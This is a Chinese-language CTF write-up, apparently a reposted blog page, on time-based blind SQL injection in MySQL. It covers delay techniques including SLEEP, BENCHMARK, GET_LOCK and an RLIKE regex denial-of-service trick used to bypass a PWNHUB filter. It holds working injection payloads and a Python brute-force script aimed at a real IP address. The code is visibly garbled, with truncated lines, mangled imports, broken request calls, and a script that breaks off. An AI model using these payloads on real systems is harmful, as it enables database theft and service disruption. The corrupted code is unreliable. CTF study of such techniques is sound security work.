mysql时间盲注if的绕过_MySQL时间盲注五种延时⽅法
（PWNHUB⾮预期解）
PWNHUB ⼀道盲注题过滤了常规的sleep和benchmark函数，引发对时间盲注中延时⽅法的思考。
延时函数
SLEEP
mysql> select sleep(5);
+----------+
| sleep(5) |
+----------+
| 0 |
+----------+
1 row in set (5.00 sec)
BENCHMARK
mysql> select benchmark(10000000,sha(1));
+----------------------------+
| benchmark(10000000,sha(1)) |
+----------------------------+
| 0 |
+----------------------------+
1 row in set (2.79 sec)
mysql> SELECT count(*) FROM lumns A, lumns B, information_schema.tables C;
+------------+
| count(*) |
+------------+
| 2651020120 |
+------------+
1 row in set (1 min 51.05 sec)
GET_LOCK Writeup
延时精确可控，利⽤环境有限，需要开两个session测试。
SESSION A
mysql> select get_lock('test',1);
+--------------------+
| get_lock('test',1) |
+--------------------+
| 1 |
+--------------------+
1 row in set (0.00 sec)
SESSION B
mysql> select get_lock('test',5);
+--------------------+
| get_lock('test',5) |
+--------------------+
| 0 |
+--------------------+
1 row in set (5.00 sec)
RLIKE
通过rpad或repeat构造长字符串，加以计算量⼤的pattern，通过repeat的参数可以控制延时长短。mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
+-------------------------------------------------------------+
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
+-------------------------------------------------------------+
| 0 |
+-------------------------------------------------------------+
1 row in set (5.27 sec)
PWNHUB-全宇宙最简单的PHP-Writeup
require 'conn.php';
$id = $_GET['id'];
if(preg_match("/(sleep|benchmark|outfile|dumpfile|load_file|join)/i", $_GET['id']))
{
die("you bad bad!");
}
$sql = "select * from article where id='".intval($id)."'";
$res = mysql_query($sql);
if(!$res){
die("404 not found!");
}
$row = mysql_fetch_array($res, MYSQL_ASSOC);
mysql_query("update view set view_times=view_times+1 where id = '".$id." '");
>
上⾯代码明显可从id参数注⼊代码到MySQL UPDATE语句。
从时间盲注的⾓度解，题中除过滤掉sleep和benchmark两个延时函数之外，并⽆其他限制。
思路：寻新的延时函数
想到⽇常数据开发中⾃⼰的SQL中多次因正则消耗计算资源，⼜想到某次⽩帽⼤会上关于正则Dos的议题，然后开始朝RLIKE尝试。
concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpa RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'
以上代码等同于 sleep(5)
本地测试
mysql> update view1 set cnt=cnt+1 where id='1' and IF(SUBSTR((select 5 from
dual),1,1)='5',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,99999 RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1';
Query OK, 0 rows affected (5.08 sec)
Rows matched: 0 Changed: 0 Warnings: 0
mysql> update view1 set cnt=cnt+1 where id='1' and IF(SUBSTR((select
5),1,1)='1',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,' RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1';
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0 Changed: 0 Warnings: 0
Docker起了个PHP 5.6+MySQL，代码copy过去，构建相同环境测试脚本，爆破到正确字符时，测试机会延时10s左右；遇到错误字符会
在0.1s以内返回，可以明显区分。
本地测试执⾏version()的结果：
N - 0.0232281684875
O - 0.0197539329529
P - 0.028*********
Q - 0.0212018489838
R - 0.0244557857513
S - 0.0253188610077
T - 0.0281682014465
U - 0.0236928462982
V - 0.0221898555756
W - 0.0275118350983
X - 0.0206508636475
Y - 0.0258479118347
Z - 0.0194098949432
@ - 0.0250370502472
{ - 0.0211541652679
} - 0.0245869159698
- - 0.0192731937281
_ - 0.0247149467468
. - 0.0188128948212
Error or Finished.
Current Result: 5.5.59-0ubuntu0.14.04.1[NULL][NULL]
线上测试
线上就很蛋疼了。⾸先环境是每5min重启⼀次，每次只能在重启的瞬间(0.5s)打上10条请求，然后服务器就被⽤笛卡尔积的同学打挂了。
⼆分法懒得搞了，在脚本⾥加了⼀些纠错机制，线上环境正误尝试的时间差降为0.2s左右，但仍可以区分。
# !/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
ptions import ReadTimeout, ConnectionError
from urllib import quote
php延时函数import time
import re
payloads = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@{}-_.'
url = '52.80.179.198:8080/article.php?id='
# url = 'localhost:8090/article.php?id='
# 替代sleep()
# 14s
# sleep_func =
"concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1, RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'"
# 5s
sleep_func =
"concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1, RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'"
# 本地测试代码
def run_local(query):
def brute_single_char(target_index):
for c in payloads:
payload = "1' and IF(SUBSTR({},{},1)='{}',{},0) and '1'='1".format(query, target_index, c, sleep_func) confirm_cnt = 0
# print payload
for i in range(10000): # 为了宕机重试
if confirm_cnt > 3: # 连续四次正确尝试，保存结果
print 'FOUND ' + c
return c
time_start = time.time()
try:
req = (url + quote(payload), timeout=20)
if 'Warning' t:
t
if 'helloworld' not t:
print c, 'MySQL Down, '
# t
continue
except ReadTimeout: # 时间长：正确尝试
print c, ' - timeout, '
# confirm_cnt += 1
continue
except ConnectionError:
print c, 'Web Server Down, '
continue
# t
time_end = time.time()
print c, ' - ', time_end - time_start
if time_end - time_start < 5: # 时间短：错误尝试
# print 'false:' + c
break
confirm_cnt += 1
return '[NULL]' # 全部字母未命中
result = ''
try:
for index in range(1, 100):
版权声明：本站内容均来自互联网，仅供演示用，请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198，我们将在24小时内删除。
发表评论